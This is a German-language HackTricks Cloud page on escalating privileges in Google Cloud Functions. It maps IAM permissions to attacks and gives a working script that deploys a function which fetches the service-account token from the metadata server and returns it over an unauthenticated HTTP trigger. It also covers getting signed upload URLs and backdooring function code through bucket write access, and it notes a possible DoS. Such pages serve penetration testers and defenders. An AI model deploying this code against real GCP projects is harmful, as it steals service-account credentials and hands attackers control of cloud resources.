GCP - Cloudfunctions Privesc
Reading time: 5 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
cloudfunctions
Mehr Informationen über Cloud Functions:
cloudfunctions.functions.create
, cloudfunctions.functions.sourceCodeSet
, iam.serviceAccounts.actAs
Ein Angreifer mit diesen Berechtigungen kann eine neue Cloud-Funktion mit beliebigem (bösartigem) Code erstellen und ihr ein Dienstkonto zuweisen. Dann kann er das Dienstkonto-Token aus den Metadaten leaken, um die Berechtigungen zu eskalieren.
Einige Berechtigungen zum Auslösen der Funktion könnten erforderlich sein.
Exploit-Skripte für diese Methode finden Sie hier und hier und die vorgefertigte .zip-Datei finden Sie hier.
cloudfunctions.functions.update
, cloudfunctions.functions.sourceCodeSet
, iam.serviceAccounts.actAs
Ein Angreifer mit diesen Berechtigungen kann den Code einer Funktion ändern und sogar das angehängte Dienstkonto ändern, um das Token zu exfiltrieren.
caution
Um Cloud-Funktionen bereitzustellen, benötigen Sie auch actAs-Berechtigungen über das Standard-Compute-Dienstkonto oder über das Dienstkonto, das zum Erstellen des Images verwendet wird.
Einige zusätzliche Berechtigungen wie .call
-Berechtigung für Version 1 cloudfunctions oder die Rolle role/run.invoker
, um die Funktion auszulösen, könnten erforderlich sein.
# Create new code
temp_dir=$(mktemp -d)
cat > $temp_dir/main.py <<EOF
import subprocess
def main(request):
cmd = "curl -s -f -H 'Metadata-Flavor: Google' 'http://metadata/computeMetadata/v1/instance/service-accounts/default/token'"
result = subprocess.check_output(cmd, shell=True, text=True)
return result
EOF
echo "" > $temp_dir/requirements.txt
zip -r $temp_dir/function.zip $temp_dir/main.py $temp_dir/requirements.txt
# Update code
gcloud functions deploy <cloudfunction-name> \
--runtime python312 \
--source $temp_dir \
--entry-point main \
--service-account <sa>@$PROJECT_ID.iam.gserviceaccount.com \
--trigger-http \
--allow-unauthenticated
# Get SA token calling the new function code
gcloud functions call <cloudfunction-name>
caution
Wenn Sie den Fehler Permission 'run.services.setIamPolicy' denied on resource...
erhalten, liegt das daran, dass Sie den Parameter --allow-unauthenticated
verwenden und nicht über ausreichende Berechtigungen dafür verfügen.
Das Exploit-Skript für diese Methode finden Sie hier.
cloudfunctions.functions.sourceCodeSet
Mit dieser Berechtigung können Sie eine signierte URL erhalten, um eine Datei in einen Funktionsbucket hochzuladen (aber der Code der Funktion wird nicht geändert, Sie müssen ihn weiterhin aktualisieren).
# Generate the URL
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions:generateUploadUrl \
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
-H "Content-Type: application/json" \
-d '{}'
Nicht ganz sicher, wie nützlich nur diese Berechtigung aus der Perspektive eines Angreifers ist, aber gut zu wissen.
cloudfunctions.functions.setIamPolicy
, iam.serviceAccounts.actAs
Gib dir eine der vorherigen .update
oder .create
Berechtigungen, um zu eskalieren.
cloudfunctions.functions.update
Wenn du nur cloudfunctions
Berechtigungen hast, ohne iam.serviceAccounts.actAs
, kannst du die Funktion nicht aktualisieren, ALSO IST DAS KEINE GÜLTIGE PRIVESC.
Lese- und Schreibzugriff auf den Bucket
Wenn du Lese- und Schreibzugriff auf den Bucket hast, kannst du Änderungen im Code überwachen und wann immer ein Update im Bucket erfolgt, kannst du den neuen Code mit deinem eigenen Code aktualisieren, sodass die neue Version der Cloud-Funktion mit dem eingereichten Backdoor-Code ausgeführt wird.
Du kannst mehr über den Angriff erfahren in:
Allerdings kannst du dies nicht verwenden, um Drittanbieter-Cloud-Funktionen vorab zu kompromittieren, da du, wenn du den Bucket in deinem Konto erstellst und ihm öffentliche Berechtigungen gibst, damit das externe Projekt darauf schreiben kann, den folgenden Fehler erhältst:
 (1) (1).png)
caution
Dies könnte jedoch für DoS-Angriffe verwendet werden.
Lese- und Schreibzugriff auf das Artifact Registry
Wenn eine Cloud-Funktion erstellt wird, wird ein neues Docker-Image in das Artifact Registry des Projekts gepusht. Ich habe versucht, das Bild mit einem neuen zu modifizieren und sogar das aktuelle Bild (und das cache
Bild) zu löschen, und es hat sich nichts geändert, die Cloud-Funktion funktioniert weiterhin. Daher könnte es möglicherweise möglich sein, einen Race Condition-Angriff wie mit dem Bucket auszunutzen, um den Docker-Container zu ändern, der ausgeführt wird, aber einfach das gespeicherte Bild zu modifizieren, ist nicht möglich, um die Cloud-Funktion zu kompromittieren.
Referenzen
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.